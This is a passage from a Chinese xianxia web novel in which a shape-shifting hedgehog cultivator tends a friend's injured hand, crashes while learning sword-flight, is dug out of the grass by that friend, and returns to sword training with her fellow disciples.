天赋这种东西,各有不同,一旦对比,被有心人听去,怕是会多想,无事惹得一身麻烦。 裴依宁将木盒放直,避免小刺猬一时不慎,滑落而下。 她莞尔:“没人会问我这种问题。”她顿了顿,“你是第一个问的。” 小刺猬不在意地说:“可能你入宗没多久,以后那些师姐或许会问一两句,反正你记得谦虚点。” “你可以这么说,”她小爪子摸着脖子,下巴稍微扬起,做示范:“宁依愚钝,不知天赋如何,只知是堂主和师姐们教导的好,未来还有许多请教师姐们的地方,还请师姐们多多担待。” 小刺猬龇牙咧嘴:“你差不多这样说就可以了,都是人情世故。” 裴依宁若有所思地盯着教导她人情世故的小刺猬,只觉有趣,这种话,她从前从未听过。 她点点头,柔声道:“我记住了。” 小刺猬“昂”了声,背对着裴依宁,下肢稳稳地撑着木盒沿,蹲下。 从后面看,整个身体近乎缩成一团。 回到裴依宁的居所,小刺猬重焕生机,抬爪迈步间皆是活力无限。 小刺猬细心询问了宁依的手伤,又贴心地为对方换了药,裹上绸布:“伤口愈合的很好,再过几日就能恢复如初。” 她神色暗淡,在看见伤口时还是会懊恼,低声咕哝:“可千万不要留痕啊。” 裴依宁安抚小刺猬:“灵丹堂有一样去疤很有效的药膏,届时我去向纳兰师姐要些。” 闻言,小刺猬重重点头:“可以的,记得说话甜一点。” 甜一点。 裴依宁随意地摆弄着绸布一端,拉扯而又抚平。 让她对纳兰然甜一点,该怎么甜一点。 她想象不出。 小刺猬没有给她示范如何对人甜一点。 * 在灵丹堂数日,小刺猬每日会趁着裴依宁不在洞府,悄悄地幻化成人形一段时间,以免因化形能力不稳导致另一个形态突然出现,在宁依面前化做人形。 这就是化形不稳的弊端。 人形和刺猬形来回切换,无法长久保持同一个形态。 有意识的时候,还能稍加控制,一旦意识不清楚,梦到过往的经历,本能的保命反应会让她直接化做人形。 很多时候,人形要比刺猬形更利于在世间生活。 即使在宗门内,她也恪守这条准则。 除却少数几个人,没有人知道小刺猬的人形是云榆,也不会有人将云榆和小刺猬联系到一起。 化为人形的云榆侧脸趴在一条手臂上,另一条手臂伸长,有一下没一下地提起茶杯又放下。 消磨时光。 也不知何时才能稳定化形,长久的保持一个形态。 宁依的手伤这两日就能恢复,她数日没有回剑法阁,只在期间给卞凝和杜师姐传过几个音。 与她同一批进入剑法阁的人,都学会了那套剑招,进入到铸剑阶段了。 她的那把剑……云榆猛然抬起头,按耐不住心中的渴望。 几日过去,她的剑不知铸造到哪一步了。 有点想看。 云榆心痒得厉害。 铸剑一事是交给器物堂的,她去询问,无形中释放出她很急切的样子。 会给别人添麻烦。 云榆下意识规避这点。 她给自己泡了壶茶,随后从空间储物中取出一把木质长剑,寻了处较为空旷之所,长身玉立,执剑而行。 颇有仙风道骨之貌。 云榆凝神静气,回忆那日杜师姐的剑法。 一招一式皆慢放在大脑中,她跟随着脑中情景,提步举剑,上挑劈剑,犹如慢动作地将剑招重新感悟一遍。 几次重复下来,失去的手感回归,云榆挽剑,残影在半空中掠过。 洞府外,欲要进入的裴依宁顿住脚步,抬起贴在门上的手亦是放下。 浅色瞳孔中似有流光转动。 最后一招落下,云榆手背擦过额头,木剑放回空间储物中。 她向外看了眼天色,夕阳渐落,染得云层镀上橙红渐变,蒙上暖色调。 宁依要回来了。 与此同时,洞府门处传来被推开而产生的轻微摩擦声。 云榆立刻蹲身,身形极速缩小,圆滚滚地趴在地上。 小刺猬几个蹦跳,迎上刚开的门。 裴依宁不着痕迹地环顾洞府内部,小刺猬舞剑时不曾动用灵力,内里一丝属于小刺猬的水属性都没有。 “星星。”裴依宁蹲下身,右手递过去,细长手指近乎抵在小刺猬的身上,“我的手好了。” 小刺猬后退半步,双爪抓住裴依宁的指头,身体跟随着看的轨迹,左右摇晃。 掌心的扎孔愈合,只留下浅浅的红色痕迹:“还是留痕了,”小刺猬感概叹息,“这么好看的手……对了,药膏拿到了吗?” 午后宁依出去,就是为了去灵丹堂找纳兰然拿可以消疤的药膏。 “拿到了。”裴依宁凭空取出一瓶药膏,当着小刺猬的面打开。 透明偏黄的膏体呈现在小刺猬面前,小刺猬探头,鼻头耸动,浅淡如花香,萦绕在鼻腔。 很是好闻。 小刺猬接过那盒药膏,小心翼翼地取下卡在凹槽处的管片,在药膏表面划了一点。 裴依宁腰背弯曲,五指张开。 小刺猬这才注意到她和裴依宁此刻的位置,以及裴依宁此刻的姿势。 “去那边上药。”小刺猬胳膊肘拐了下不远处的位置,示意裴依宁去那边坐着。 换了地方,小刺猬伏在裴依宁的手腕上,后背对着裴依宁的脸,小爪子紧紧捏着管片,划出的药膏一点点浸入留疤的肌肤。 掌心水润一片。 不知是不是错觉,敷上药膏的肌肤,疤痕肉眼可见的浅了许多。 “好啦,这样看,再过一两天,宁依的手就能完全好了。”小刺猬轻松地盖上盖子,往后一仰,四仰八叉地躺在裴依宁面前。 她四肢轻快地摇晃:“再过两天我就可以回去啦。” 语气中满是喜悦。 掌心微凉一片,裴依宁盯着泛着水光的肌肤,长而翘的睫毛扇动,下眼睑的阴影随之不断移动。 眼角的余光瞥见小刺猬的欣喜,裴依宁舌尖抵在上颚,半晌后,她盖上药膏的盖子,两根并拢的手指推动药盒至小刺猬的身侧。 摆动的爪子碰到异动,小刺猬上半身扬起。 本就短的身体一半躺着,一半扬起,看起来颇为滑稽。 小刺猬躺了回去,一只爪子搭在柔软的肚皮上。 裴依宁道:“星星,这盒药你收着。” 小刺猬是剑修,刀剑无眼,每年受伤最多的就是剑修,小刺猬拿着,有备无患。 但小刺猬怎么可能会收,这种药膏只怕品阶不低,只是帮宁依敷了层,效果就这么好。 她抗拒:“不要,”她整理措辞,“我用不了这个,你看我身后的刺。” 她翻身向面前的女人展示拢在后背的刺,两秒后,整个身体缩成一团,露不出半点柔软的部分:“我可以保护好自己。” 小刺猬虽然有刺保护,但这刺并不是很坚硬。而且小刺猬在剑法阁修炼,多是以人形为主,人形的小刺猬可没有刺的保护。 裴依宁沉思片刻:“那星星替我收着,可好?” 名义上让小刺猬帮她收着,实际上还是给小刺猬的。 小刺猬怎么可能看不出来:“不要,自己的东西自己收。” 她小刺猬已经占了宁依做饭的便宜了,再拿别人的东西,岂不就是连吃带拿。 传出去太丢她的脸了。 她义正言辞:“反正别想让我帮你收着。” 小刺猬有的时候过于幼稚,又过于有原则了。 裴依宁无法,不好再勉强。 日月交替,转眼间,两日时光一闪而逝,裴依宁手伤愈合完全,在看不出一丝丝痕迹。 小刺猬悬着的心彻底落回去,她端着裴依宁的手,仔仔细细地打量,鼻间几乎挨在裴依宁的肌肤上,嗅闻气味。 温热的呼吸扑在肌肤上,裴依宁小指勾动,眉宇间注满了温柔。 小刺猬松开小爪子:“终于恢复好了。” 裴依宁神色微动:“星星很开心吗?” 两日前,小刺猬就很高兴于要回去了,眼下,她的手伤彻底恢复,小刺猬许是更高兴吧。 裴依宁抿住唇,某处酸涩鼓动。 小刺猬一无所察:“当然开心啊。” 裴依宁又问:“星星是打算回去了吗。” 小刺猬看她,认真道:“是该回去了,这几天给你造成了这么多麻烦。”她叹息,“还好你的手没留下伤疤。” 不然她能愧疚死。 裴依宁微微蹙眉:“没有造成麻烦。” 小刺猬在的这几日,她难得觉得自己的洞府是有生机和活力的。 小刺猬摆摆爪子:“差不多差不多。” “算了。”裴依宁起身,从空间储物中拿出前几段时间存放的食材,“吃完饭再走吧。” 小刺猬眼珠子一转,属实是馋宁依的手艺了。 回去也不差这一时半会。 小刺猬给自己找了个合理合规的理由。 四菜一汤,对于小刺猬而言,过于丰盛了。 小刺猬受宠若惊:“做这么多,怎么吃得完。” 裴依宁淡声:“慢慢吃,不急。” 吃得过多的下场就是肚皮被撑得圆滚滚的,连路都走不动了。 小刺猬耳根浸上红意,不好意思地挠挠脑袋,被裴依宁捞在肩头,看着对方整理碗筷,清洗。 这一次小刺猬没有毛遂自荐。 一是吃得没力气动,二则是上次扎到宁依的画面记忆犹新。 现在吃得圆滚滚的她去清洗碗筷,大概率滚到河里的速度比上次还快。 可恶,不该吃这么多的。 小刺猬握拳,暗叹自控力不好。 如小刺猬所言,四菜一汤,一人一刺猬根本吃不完。 本着不浪费的好习惯,小刺猬将剩余的饭菜连同盘子一同装入空间储物中。 她笑嘻嘻地表示:“晚上还能吃一顿。” 裴依宁欲言又止,几度欲劝,但小刺猬对食物的珍重远超她想象,片刻后,她妥协:“今晚务必吃完,不要留过夜。” 没记错的话,小刺猬的空间储物是最普通的一种,除却能隔空储物外,和外界没什么区别。 她提醒:“届时用灵力加热。” 想到小刺猬那日做的黑糊糊一团的东西,她又道:“只用灵力即可,不要用别的。” 小刺猬记下:“放心,我有分寸。” 考虑到下次不一定什么时候能见,裴依宁给小刺猬装了一盒肉干,一盒药材干。 供小刺猬解馋。 小刺猬没想到宁依考虑得这么周到,漆黑的瞳孔中洒满了星点,小爪子张开,尝试抱住宁依。 但只能隔着衣衫,抱住小腹一片的位置。 裴依宁身体一僵。 “谢谢宁依。”小刺猬感谢。 裴依宁略为僵硬地将两盒东西推到小刺猬面前,目光落向别处,指尖有规律地在大腿上点动:“不客气。” 又聊了几句,小刺猬带上满载的吃食,两只小爪子勾住洞府床边的横栏,一个翻身卡在中间。后背的刺一抖一抖的数根刺尖混上阳光的点缀,亮出个白点。 小刺猬斜身一倒,一条爪子移开,坐在横栏上,对着洞府内的人挥爪:“宁依,我走了,下次见。” 裴依宁:“好,下次见。” 小刺猬不动,固执地又挥了遍爪子:“宁依,我走了。” 裴依宁不明所以,却又见小刺猬第三次挥爪。 再迟钝的人都应明白了,裴依宁含笑不语,挥手。 小刺猬满意了,身体直直地往后倒去。 最后消失在裴依宁视线中的是小刺猬的两条腿爪子。 她快步上前,只瞧得小刺猬的背影。 裴依宁好笑地摇摇头,还当是小刺猬滑倒了,看来是她多虑了。 小刺猬回剑法阁途中,照例找了个了无人烟的地方幻化成人形。 她给卞凝和杜师姐传过音了,也收到了卞凝的回音,告知她,她们此刻正在练剑之地学习新的剑招。 云榆一听,脚下生风,催动灵力极速往练剑之地赶。 她到时,一位师姐正在拆解剑招招式。 但尤其新入宗的弟子中,有数人未能听明白,那位师姐开始了第二遍拆解。 云榆就在这个时候偷偷溜到卞凝身边的。 “怎么回事,一连几天都看不见踪影。”卞凝小声道。 云榆气喘吁吁,插科打诨地绕过去:“出了点小事,耽误了。” 不是刨根问底的人,也理解每个人都有隐私,卞凝没有追问:“你不在的几日,师姐教了我们御剑之术,等结束了,我教你。” 上次杜师姐带她感受了,可说到底那把剑是杜师姐的佩剑,她能操控,多半与杜师姐有关。 单独一人,她没有把握能控制好剑,更没有把握不从剑上掉下来。 “好,谢谢。”云榆道。 卞凝:“你跟我客气什么。” 师姐拆解到最后一个招式,云榆眯起眼睛往脑子里记动作。 某些地方还是模糊的。 拆解完,那位师姐问:“可看明白?” 弟子们你看我我看你,脸上的茫然之色不见少。 云榆和卞凝对视一眼,互相传音,交流掌握情况。 “二位掌握的如何?”应滟不知从何处窜出,几番犹豫,主动与两人搭话。 上次云榆和卞凝送她去灵丹堂,她私下已经和卞凝道谢了,但云榆几次未能看见,是以没来得及亲自表达谢意。 她本想直呼两人名姓,又顾忌与两人关系没有那么熟稔。 云榆向她看去:“后面的几招还未参悟。”她停了半秒,“你喊我名字就好。” 她能感受到应滟的紧张,说话的尾音都带着颤抖。 卞凝道:“对,你喊我们名字就好。” 应滟放松了些:“我都记录下来了。”她拿出一块与灵石差不多的石头,只不过这块石头呈现出黑灰色,内里没有灵力流动,“这是印刻石,可以把动作记录下来。” 云榆第一次见这种东西,破觉新奇:“竟然还有此等好东西。” 应滟笑道:“二位不嫌弃的话,我们可以一起修炼。” 云榆和卞凝传了个眼神后,云榆道:“都是同门,一同修炼,一起进步。” 恰在此刻,上首的师姐再度出声:“想来是还没记住,今日便连前三招。我再位各位示范一遍。” 三人聚在一起,应滟将印刻石打开,记录下师姐的前三招示范。 一炷香后,一群人四散开了。 云榆暂且没有练新招的打算,她想尝试御剑飞行。 卞凝正有教她这个的意思,两人一拍即合,应滟自告奋勇一同。 三人与带教师姐说过后,朝着另一处空阔之地而去。 “这御剑飞行跟用灵力飞行大同小异,唯一的不同,是御剑飞行的距离远,飞行的时间久,耗费的灵力少……”卞凝摇头晃脑地将那日师姐所言背出。 紧接着,她提起刚拿的铁剑,注入些许灵力。 云榆瞳孔睁大,她可没忘记上次应滟炸剑,就是因为往铁剑中注入灵力。 见她神色变动,应滟解释:“我上次是注入的过多,且那时的确没有能力掌控灵力和剑。前几日师姐教我们如何往铁剑中注入灵力了。” 云榆了然。 紧接着,卞凝将剑往天上一丢,那剑稳稳当当地悬停在距地面一米高的位置。 卞凝翻身跃上,绕着圈地飞行一圈。 应滟也给她示范了一遍。 云榆记住两人传授的方法,又被两人带着飞了一圈,跃跃欲试地想要单飞试试。 卞凝将剑扔给她,云榆谨慎地,缓而慢地往铁剑中注入灵力,而后剑体凌空,她一跃而上,踩在剑身。 居高临下,卞凝和应滟不得不扬头看她。 云榆操控着剑往上升,往前飞。 一连在原地绕了数圈,云榆对于剑身的控制有所了解,她尝试往剑法阁的边缘飞去。 催动灵力,踩着的铁剑隐隐乱颤,下一秒,剑身直直地往前飞去。 云榆用力踩下,不稳的剑身恢复平稳。 她侧身,打算往回飞。 不料铁剑在这时失去控制,无法转弯,只朝着前方飞行。 云榆心下一惊,暗道不好,急忙传音给卞凝。 卞凝让她立刻减少铁剑中注入的灵力。 云榆依言,不想铁剑开始极速下降,风带着她的长发飞舞,打在脸上,刺疼得厉害。 不过好在,在下降数秒后,剑身得以控制,云榆披头散发,手一扒拉,将眼睛露出。 一位浅色衣衫的女人出现在视野中。 赫然是裴依宁。 云榆这才发现,她竟是直直地飞到了灵丹堂所在的峰阁附近。 不待反应,体内灵力因为抽取收回间隙太快,一时混乱。 她身形一矮,陡然变成了小刺猬。 裴依宁恰在此刻抬眼看来。【你现在阅读的是 】 20-30 第21章 第二十一章[VIP] 一切发生的过快, 小刺猬四肢趴在剑身,铁剑失去灵力控制,倾斜往下坠。 趴在上方的小刺猬滑落,四仰八叉地躺在草地上, 四肢不时往前蹬两下。 铁剑“叮咚”坠地的声音引得不远处的人看来。 小刺猬大脑空白, 欲泪无泪地蹬着爪子想要起来,可不知怎得了, 有东西死死地钉着她, 让她动弹不得。 灵识内全是卞凝和应滟的传音,询问她在哪里。 为了不让她们担心, 小刺猬随意编了个理由,只说两柱香后回去。 不知宁依适才有没有看见她从人形变成刺猬形。 只希求宁依没有看见。 “星星?”裴依宁惊讶的声音从头顶传来, 女人蹲下身,一瞬不瞬地盯着躺在地上的小刺猬,“你在这做什么?” 小刺猬没有回答,而是直直地望着裴依宁的眼睛,里面注满了疑惑和不解。 天真懵懂的样子, 仿佛刚看见她。 保险起见, 小刺猬故作不经意地问:“我刚刚来, 你没看见吗?” 裴依宁眼底的茫然之色更甚:“我只听见有声音响起, 便顺着声音传来处走过。刚刚的声音是星星发出来?” 她扭头, 一把铁剑静悄悄地扔在小刺猬附近, 这么明显的剑当做看不见有些说不过去了。 裴依宁探身取过那把铁剑,上下打量, 内里残留着水属性灵力, 剑尖沾有泥土和草屑。 是剑落下时,剑尖先着地造成的。 裴依宁眼神暗下去。 小刺猬冒然闯入灵丹堂附近, 又在空中胡乱飞行,降落时的速度更是不加控制。 尤其是小刺猬从剑身滑落时,她呼吸凝滞,耳畔边只余下风过草动之音。 好在没事。 裴依宁按下心绪,抚摸过剑柄处的简单纹路:“星星是御剑来的?” 小刺猬含糊地“嗯”了声。 确定宁依并未看见前面发生的事,她悬着的心放下:“等会告诉你。” 眼下她还有一件更重要的事,就是从地上起来。 小刺猬咬着牙挣扎得越发厉害,但拢在后背的刺依旧钉在地面,形成一层阻力,她愈要起来,后背的拉力愈大。 有种身体和刺分离的错觉。 裴依宁歪头:“星星?” 小刺猬目光下移,对上裴依宁的视线,清了下嗓子:“宁依……” 她顿住,心觉丢人,耳根烧得厉害,连带着,延续而下,是整个身体都被燥热。 小刺猬快要成为一只红刺猬了。 裴依宁:“嗯?” 好丢人啊,小刺猬心中呐喊,面上却支支吾吾地说不出一句完整的话,她压制着声音,囫囵地吐出一句话。 裴依宁没听清:“星星,你说什么?” 小刺猬别过头,淡绿色的青草地缓解不了她的心情,往日抬眼就是的治愈蓝天也无法止住不断涌上的羞耻。 深呼吸,憋住气,小刺猬眼一闭,心一横:“我刺卡在地上了,捞我起来。” 说完这句话,小刺猬哭瘪着脸,紧闭双目,动都不动一下。 裴依宁诧异,再一看小刺猬的姿势。 四只爪子缩在小肚子上,靠近草地的几根刺弯曲着点在地面。 从剑身上滑落时,小刺猬背对而下,正中央对着草地的刺,在力的作用下,直直地插入草地。 怪不得小刺猬到现在没起来。 裴依宁了然。 再一看小刺猬羞恼的模样,裴依宁无奈地扯住唇角。 她丢回铁剑,双膝跪在地上,上半身下伏,双手拢在小刺猬两侧,轻轻地左右来回晃动小刺猬的身体。 草地松软,禁锢后背刺的力度减少,但依旧不是小刺猬可以轻易爬起的。 裴依宁在此刻松手。 肚皮周围的热度散去,小刺猬终于忍不住睁开眼。 裴依宁安抚她:“别急。” 这样将小刺猬带出来,刺上沾染的泥土过多,一时不注意,可能还会折断小刺猬的刺。 裴依宁打算换一种方式。 她取过刚放下的剑,以小刺猬为中心,剑尖挪动两分,剑柄往下一按。 剑尖插入草地的闷声响起。 入地半尺,裴依宁斜侧用力。 小刺猬感到身下的草地在涌动。 随后,剑上抽,移动,裴依宁眼眸中灵光流转,干净利落地将小刺猬挖出。 手一松,剑回直,插在地面。鲜猪付 她重新护住小刺猬的两边,手指点在小刺猬的肚皮上,避开两边的刺,将小刺猬抱起来。 小刺猬刺上的土淅淅沥沥地往下掉,但有部分刺入太深,土是湿的,黏在小刺猬的刺上。 刺被染得脏兮兮的。 小刺猬连忙使用净身术。 身体上干净了,心理还是觉得应该用水洗洗,才是真的干净。 小刺猬嘟着唇,闷闷不乐。 御剑而已,怎么能出这么丢人的事。余光瞧见还抱着她的女人,耳根的热度再次提醒她是如何被自己的小跟班从草地中挖出来的。 可恶啊。 真就一点面子不剩了。 小刺猬五官上是肉眼可见的无力和悲伤。 偏偏这时,面前的小跟班还要说一句:“星星,可有哪里不适。” 她的灵力没入小刺猬的身体,并无内伤,她仔细检查过小刺猬的表面,也无外伤。 是个健康的小刺猬。 小刺猬闷闷地:“不舒服极了……” 裴依宁紧张:“哪里?” 小刺猬喃喃自语:“心里……心里好苦……” 裴依宁:“……”女人轻笑,旋即意识到她所言何事,安慰,“无碍,我不会对任何人说。” 小刺猬支起眼睑:“你看见了。” 裴依宁:“我可以当做没看见。” 小刺猬生无可恋:“你就是看见了……”她重重地叹口气,声音低沉,“我在你心中的形象啊。” 形象没了,以后还怎么有脸在小跟班面前说这说那。 小刺猬越想越难受。 裴依宁敛住笑意,护着小刺猬靠近,她眉宇间皆是柔和:“星星在我这的形象一直很好。” 小刺猬不再哼哼唧唧,狐疑地看她,她继续说:“星星刚才的模样很可爱,也很……”她回忆小刺猬掉落时的场景,“也很勇敢。” 小刺猬眨眨眼:“真的?” 裴依宁笑:“真的。” 小刺猬情绪来得快,去得也快,她被很好地安抚好,整只刺猬又神气起来:“我是最勇敢的刺猬。” 裴依宁顺着她的话:“是,星星是最勇敢的刺猬。所以,刚刚星星是在御剑飞行吗?” 那把剑太明显了,否认不了。但小刺猬还不准备告知宁依她是剑法阁的弟子。 小刺猬半真半假道:“是,闲来无事,从剑法阁那借了把铁剑,想要试试御剑飞行,不想有所失误,让宁依见笑了。晚些时候,我便将这剑归还。” 她欲盖弥彰地:“还是要用自己的武器才好。” 裴依宁不置可否:“第一次御剑?星星真的很勇敢。” 话题好似跑偏了,这句话不像是夸她的,小刺猬谨慎。 但宁依的表情过于正常,就连语气中都带着艳羡。 小刺猬受用地接下,却也心虚:“昂,宁依知道就好,别夸了。” 裴依宁含笑点头。 此地乃是灵丹堂地盘,就近之下,小刺猬选择跟裴依宁去洗洗。 这里距离之前那处溪流极近,裴依宁将小刺猬带过去,在亭台上,小刺猬还有几分犹豫。 她再三向裴依宁确定:“宁依,真的可以在这里面洗澡吗?” 上次宁依就说过,这条溪流是灵丹堂专门牵引出的,用来洗澡,会不会不好。 小刺猬总是顾虑良多。 裴依宁取出一条手帕,摊开在掌心,沿着亭台铺成的石路往下,手一伸,手帕浸泡在溪流中。 流水冲刷她的肌肤。 小刺猬几步跑来,小小的身形蹲在裴依宁身边,建议:“不若去之前我们洗碗的那条溪流洗?” 能洗碗,洗个澡应该没什么吧。 那条溪流就在裴依宁居所附近。 裴依宁拧开手帕,湿润的手帕擦在小刺猬的脸上,温凉的触感让小刺猬自觉噤声。 裴依宁虚虚地拦住小刺猬,细心地擦拭完小刺猬的脸颊,才是道:“没关系,不会有影响,星星就在这里洗吧。” 这里的溪流内里含有的灵力是明越宗各大溪流之最,有洗髓伐骨之效,能为小刺猬带来更多的益处。 她已经提前在周围留下灵识感知,一旦有人进入感知范围,她将第一时间知晓,不会暴露小刺猬的存在。 见小刺猬不肯下水,裴依宁道:“星星不愿意的话,可以用盆接水洗。” 小刺猬唇紧紧抿着,小爪子也紧紧握着,艰难开口:“宁依,你能去另一边吗?” 裴依宁眨眨眼。 小刺猬扭捏:“你在这,我……我放不开。” 裴依宁:“……” 裴依宁:“好,我去亭子那坐会。” “不行的。”小刺猬厉声拒绝,复又意识到声量过高了,急忙降下去,小声说,“在那,你也能看见……” 裴依宁无法:“我背对着,可以吗?” 小刺猬垂头思考,数秒后,她点点头:“也可以,背对着。” 后面三个字的字音明显咬重了几分。 裴依宁缓步沿着石阶回到亭台,坐在离溪水最近之处,小刺猬可以随时可以她的身形。 见她坐下,小刺猬等了会,拍拍身上的刺,下肢的两条爪子弯曲,跳入水中。 水珠溅起,砸在溪面,绽放出无数水花。 溪水温凉,毛发被尽数染湿,小刺猬抬爪,先是清洗肚子,随后身体往后扬,让后背的刺充分与水面接触。 不知是不是错觉,在这条溪水中,小刺猬只觉神清气爽,体内缓慢运转的灵珠小幅度颤抖,丝丝缕缕的灵气包裹在灵珠周围。 小刺猬四肢蹬水,玩得不亦乐乎。 她时不时还会看向亭台处那位背对着她的女人,女人坐姿始终未变,泼墨长发随风轻柔舞动,腰身板正,身姿挺拔,青绿色的衣衫无形中为女人增添了几分岁月静好。 小刺猬在水中游动,忽而发现几条青鱼从她面前游过。 与那日在宁依洞府中食用的鱼很像。 小刺猬心虚地别开眼,她记得她当时吃得很开心。 可别被认出来了。 那几条青鱼很快游走,小刺猬的注意力转回亭台上的女人。 她起了玩闹的心思,两只小爪子捧起一摊水,用力地向亭台上的人撒去。 但力度不高,很多水从爪缝中溜走,还有的,是在到亭台的半途中无力摔落,打在她仰起的脸上。 少数几滴,突破高度,穿越阻碍,落到裴依宁的发顶,几息之间,融入发丝,在其中点缀出深色的湿润。 裴依宁下意识要回头,因小刺猬先前的不许,生生克制住。 又是几滴水珠打在发顶,两肩。 裴依宁无奈,温声:“星星,洗好了吗?” 小刺猬嬉笑声传出:“洗好啦。” 裴依宁又问:“我可以回头吗?” 小刺猬这是没有立刻出声,片刻后:“可以了。” 裴依宁转身,手臂搭在木质横栏上,小刺猬大半个身体泡在溪水中,只露出一个头,正目不转睛地看着她。 小刺猬的眼中宛如夏夜星辰,明灭闪烁,当她看过去时,那双眼弯弯,晃着笑意地对她举起合拢的爪子。 里面藏着刚捧起的水。 裴依宁忽而一笑。 小刺猬怔愣一瞬,双爪忽而分开,所剩不多的水重归溪流。 裴依宁歪头,刚刚小刺猬的样子,分明是想让她回头,对着她的脸泼水。 她都做好被泼的准备了,小刺猬怎么突然放弃了。 她支起手肘,凝望下方肆意的小刺猬。 原以为会化作人形,所以才让她背对着,可如今还是刺猬形,开始不让看,现在怎么又让看了。 星星的想法,她捉摸不透。 小刺猬在裴依宁回过头后,全程便只将脑袋露在外面,可她忽略了,溪水清澈见底。 水下之物一览无余。 小刺猬洗好后,从溪水中跳出,残留在身上的水打湿地板,被阳光一照,肉眼可见地蒸发变干。 她甩甩头,又甩甩身体,水珠四散朝周边飞去。 裴依宁刚走下来,就被她甩了一身水,其中几滴甩到她的手背,蜿蜒而下,串联至一起,形成更大面积的水珠。 女人不在意地抹去,几步来到小刺猬的身边,素手一伸,一块干净的手帕出现。 小刺猬看了她一眼,接过手帕,胡乱地劈头就擦,甩出的零星水渍在阳光下,呈出不同的光色。 她这个擦法有些粗暴了,裴依宁轻轻按住小刺猬的爪子,拿回手帕,点在小刺猬的额头:“星星别动,我帮你。” 小刺猬弯腰垂头,猛然意识到她现在的身形本就矮,再这么一低,岂不是更矮了。 默默地把身板停直。 裴依宁没注意到这点。 擦拭完后,裴依宁就着溪水洗手帕:“星星,去我那里吗?” 小刺猬摆摆爪子:“不去,我还有事。” 她传音告知卞凝和应滟的时间是两柱香,眼见时间快到了。 她问:“宁依,那把铁剑呢?” 裴依宁取出给她:“这么急吗?” 小刺猬道:“嗯,我先走了,今天谢谢你啦。” 裴依宁唇角下弯:“不客气。” 目送小刺猬远去,裴依宁垂眸,那条浅蓝色的手帕被叠好,正下方,是一滩将干未干的液体。 是小刺猬带出来的溪水。 她再一抬头,背着长剑的小刺猬不断往前移动,长剑低悬于地面,随着小刺猬的跑动,颠簸不断。 裴依宁眯起眼睛,视野变小,恍然间,直立而起的小刺猬背着长剑的形象映入脑海。 很是可爱。 再看去时,小刺猬已经消失不见。裴依宁坐在亭台上,遥望剑法阁的方向。 小刺猬气喘吁吁地在两柱香的末端抵达剑法阁,此刻的她已经变回了人形。 云榆将铁剑从后背抽出,握在掌中。 卞凝和应滟正在原先的地方等她。 云榆看见两人,不免吐出一口气,歉意道:“让你们久等了,遇到些事耽误了。” 卞凝摇摇头,示意无事。 应滟几步走到云榆面前,眉心紧皱:“是不是御剑出错了。” 云榆“嗯”了声,将当时的大致情景说出,只是省略了她和宁依相遇的情节。 应滟大惊:“坠剑,那你可有事。” 云榆张开双臂,转了个圈:“有事的话,兴许是不能站在你们面前了。” 她笑着绕过这个话题:“为何会突然坠剑,你们先前遇到过吗?” 应滟和卞凝对视一眼,两人皆是第一次遇到这种情况,给不出答案。卞凝道:“去问问杜师姐?” 云榆点头,这个问题若是不解决,未来若是再出现同种问题,再次坠剑,轻则受伤,重则小命不保。 三人去找杜寻雁。 杜寻雁正在与一位师姐说笑,云榆三人适当保持距离,在杜师姐看过来时,云榆挥了下手。 杜寻雁指了指她们三,对闲谈的人道:“师妹在叫我,等会再说。” 那位师姐笑着点点头。 “杜师姐。”杜寻雁走近,云榆上前一步,将铁剑抬起,将御剑所遇之事又说了遍。 杜寻雁听闻她坠剑,脸色霎时间变化,但见她无碍,表情转变,只是脸上的严肃愈显:“坠剑,从前也有师妹遇见过,各有原因,但大致无差。” 她将灵力注入铁剑中,在里面感知到一丝残留的水属性灵力,灵力顺着剑柄,直达剑尖,贯通整柄剑。 结合云榆前面所言,她后续抽回灵力,杜寻雁心中有数:“灵力注入过多,加之你抽空过快,一多一少,此二者乃两种极端,铁剑承受不了,便会速落。” 说完,她严肃地的将剑入鞘:“我记得教你们御剑之时说过。” 卞凝和应滟垂下头。 她们听闻云榆坠剑,过于紧张,竟连这点都忘记了。 云榆挡在两人面前,恭敬地应下:“是,一时疏忽,多谢师姐提醒,今后云榆定当注意。” 杜寻雁对这位剑道天赋不错的师妹印象很深,自是知晓这几日这人没来,她道:“今后你们佩剑铸出,就不用担心再发生这种情况了。”她颠了颠铁剑,“这剑还是不行,改明去器物堂看看有没有更好的。” 提到铸剑一事,云榆心又开始痒了,她控制语调:“师姐,我们的剑约莫什么时候能铸造完毕?” 卞凝和应滟同样期待地望着她。 杜寻雁道:“云师妹,你的是最先开始铸造的,再过三五日便差不多了,剩下的几人,应当也在五日左右。” 还剩下三五日,云榆咽了下喉咙,迫切地想要知晓自己的专属佩剑会是什么样子。 “多谢师姐告知。”该有的礼貌还没有忘记,云榆拱手一礼。 卞凝和应滟紧随其后。 三人又各自询问了些有关修炼上的事才是退出。 应滟最先忍不住惊呼:“哎,你们听杜师姐说了吗?最多五日,我们的剑就铸好了。好期待。我宣布,我最近五日唯一的念想,就是等我的剑。” 卞凝性格较为内敛,虽没有明显表露,但眼底的期待不比应滟少:“我也是。” 云榆笑道:“这可不行,再加一个念想,把今日师姐新教的那套剑招学个七七八八。” 应滟苦着脸:“云榆,你为什么要提起这件事,你知道上套剑招我学了多久吗?整整八天,八天啊!” 云榆推着她走:“那不也学会了吗?走啦,今日的修习不能再耽误了。” 卞凝笑着跟在两人身上。 日落西沉,泛黄的日光漏出,肉眼可直视。 新剑招掌握的七七八八的云榆坐在练剑之地一处地势较高的位置,双膝曲起,双臂环抱小腿,侧脸贴在上臂,露出一只眼看向渐渐下沉的夕阳。 身边坐了一人,云榆没动。 “云师妹。” 原以为来人是卞凝和应滟的云榆抬起来。 来人是杜寻雁。 云榆抬头:“杜师姐。” 杜寻雁没什么架子,除却在教导她们修炼时格外严厉外,平日里皆是和她们打成一片。 有时在修炼结束,还会给她们塞枚从后山山阁采摘的灵桃。 杜寻雁双腿伸直,凝视着不远处正在练剑的师妹们:“今日所学,练得如何了?” 云榆道:“已掌握五分左右。” 她刻意少说了点。 杜寻雁对她们的修炼进程自有了解,倒也没多说,只是道:“还不错,继续保持。” 很普通的一句夸奖。 云榆道:“我会努力的。” 杜寻雁轻笑一声:“那么客气做什么。这几日有时间可以去器物堂看看铸剑的进度,若是有什么要求,可以直接同器物堂的人提。” 云榆抓紧衣衫:“可以吗?” 杜寻雁挑眉:“陪伴你们一生的伙伴,自是要谨慎。” 说罢,她起身拍拍并不存在的灰尘,去指点另一位同门了。 云榆视线跟过去,杜寻雁耐心地与对方说着什么,随后对方也是一幅惊喜的表情。 想来是差不多关于铸剑之事的。 